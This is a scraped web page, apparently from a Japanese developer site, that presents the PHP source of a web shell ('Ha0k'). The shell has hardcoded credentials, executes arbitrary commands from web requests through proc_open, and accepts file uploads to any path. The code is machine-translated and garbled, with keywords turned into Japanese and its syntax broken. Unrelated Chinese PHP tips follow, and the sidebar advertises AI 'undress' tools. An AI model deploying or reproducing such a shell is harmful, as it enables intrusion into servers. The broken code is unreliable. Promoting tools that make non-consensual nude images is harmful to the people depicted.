コードをコピー コードは次のとおりです:
//ここで複数のユーザーを設定できます
$passwd = array('ha0k' => 'ha0k',
'hackerdsb'=>' hackerdsb ');
/* ここにコマンドのエイリアスを設定します*/
$aliases = array('ls' => 'ipconfig',
'll' => 'ls -lvhF') ;
if (!isset($_SERVER['PHP_AUTH_USER'])||!isset($_SERVER['PHP_AUTH_PW'])||
!isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
$passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
header('WWW-Authenticate: Basic realm="by Ha0k"'); header('HTTP/1.0 401 Unauthorized');
$authenticated = false;
else {
$authenticated = true
/* セッションの開始 */
session_start( );
/* セッションを初期化します。 */
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
$_SESSION['cwd] '] = getcwd(); //現在のディレクトリを取得します
$_SESSION['history'] = array();
$_SESSION['output'] = ''; ( !empty($_REQUEST['command'])) {
if (get_magic_quotes_gpc()) { //0 はオフを意味し、1 はオンを意味し、オンの場合はフィルター
/* を追加したくありませんコマンドは
* エスケープ形式で履歴に保存されるため、バックスラッシュを削除します。 */
$_REQUEST['command'] =tripslashes($_REQUEST['command']); //addslashes() を使用します。 ) 関数で処理した文字列がそのまま返されます
}
/*history */
if (($i = array_search($_REQUEST['command'], $_SESSION['history']) ) != = false) //保存された配列内の値を検索
unset($_SESSION['history'][$i]) //Destroy
array_unshift($_SESSION['history'], $ _REQUEST['command ']);//array_unshift() 関数は、新しい要素を配列に挿入します。そして、この新しい配列は元の配列の先頭に追加されます。この関数が最終的に返すのは、新しい要素を挿入した後の配列です。
/* 出力Ha0k# コマンド */
$_SESSION['output'] .= 'Ha0k# ' . $_REQUEST['コマンド'] 。 「ん」;
/* 現在の作業ディレクトリを初期化します。 */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
$_SESSION['cwd' ] = ディレクトリ名(__FILE__); //获取当前所在目录
} elseif (ereg('^[[:blank:]]*cd[[:blank:]] ([^;] )$', $_REQUEST['command'], $ regs)) {
/* 現在のコマンドは 'cd' コマンドであり、
* を内部シェル コマンドとして処理する必要があります。 */
if ($regs[1][0] == '/') {
/* 絶対パス。変更せずに使用します。 */
$new_dir = $regs[1];
} else {
/* 相対パス。現在の作業中の
* ディレクトリに追加します。 */
$new_dir = $_SESSION['cwd'] 。 '/' 。 $regs[1];
}
/* '/./' を '/' に変換します */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace( '/./'、'/'、$new_dir);
/* '//' を '/' に変換します */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', ' /', $new_dir);
/* 'x/..' を '' に変換します */
while (preg_match('|/..(?!.)|', $new_dir))
$new_dir = preg_replace(' |/?[^/] /..(?!.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* ディレクトリを変更してみます。 */
if (@chdir($new_dir)) { //改变当前目录
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: を $new_dirn に変更できませんでした";
}
} else {
/* このコマンドは「cd」コマンドではないため、
* ディレクトリを変更した後に実行し、出力を保存します。 */
chdir($_SESSION['cwd']); //改变目录
/* 别名扩展 */
$length = strcspn($_REQUEST['command'], " t"); //查找t文字列、戻り位置
$token = substr($_REQUEST['command'], 0, $length); //取字符串0-t
if (isset($aliases[$token]))
$_REQUEST['command'] = $aliases[$token] 。 substr($_REQUEST['コマンド'], $length);
$p = proc_open($_REQUEST['command'], //スクリプトを実行
array(1 => array('pipe', 'w'),
2 => array('パイプ'、'w'))、
$io);
/* 读出送信 */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]), / /转换特殊文字符はHTML文字符编码
ENT_COMPAT, 'GB2312');
}
/* 读出 */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2] )、
ENT_COMPAT、'GB2312');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//关闭管道
}
}
/* 构建在JavaScript使用コマンド历史记录 */
if (empty($_SESSION['history']) ) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';// 将数组搞成字串
}
}
header( 'コンテンツタイプ: text/html');
エコー '' 。 「ん」;
?>
if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {
copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST[ 'リモートファイル']);
//echo "上传文件成功: " . $HTTP_POST_FILES['ユーザーファイル']['名前'];
}
?>
BR>"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" >
HA0K
绉

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

在php中,可以使用substr()函数来读取字符串后几个字符,只需要将该函数的第二个参数设置为负值,第三个参数省略即可;语法为“substr(字符串,-n)”,表示读取从字符串结尾处向前数第n个字符开始,直到字符串结尾的全部字符。

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

方法:1、用“str_replace(" ","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\ \;||\xc2\xa0)/","其他字符",$str)”语句。

查找方法:1、用strpos(),语法“strpos("字符串值","查找子串")+1”;2、用stripos(),语法“strpos("字符串值","查找子串")+1”。因为字符串是从0开始计数的,因此两个函数获取的位置需要进行加1处理。


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

WebStorm Mac版
便利なJavaScript開発ツール

mPDF
mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。

ドリームウィーバー CS6
ビジュアル Web 開発ツール

PhpStorm Mac バージョン
最新(2018.2.1)のプロフェッショナル向けPHP統合開発ツール

MinGW - Minimalist GNU for Windows
このプロジェクトは osdn.net/projects/mingw に移行中です。引き続きそこでフォローしていただけます。 MinGW: GNU Compiler Collection (GCC) のネイティブ Windows ポートであり、ネイティブ Windows アプリケーションを構築するための自由に配布可能なインポート ライブラリとヘッダー ファイルであり、C99 機能をサポートする MSVC ランタイムの拡張機能が含まれています。すべての MinGW ソフトウェアは 64 ビット Windows プラットフォームで実行できます。

ホットトピック



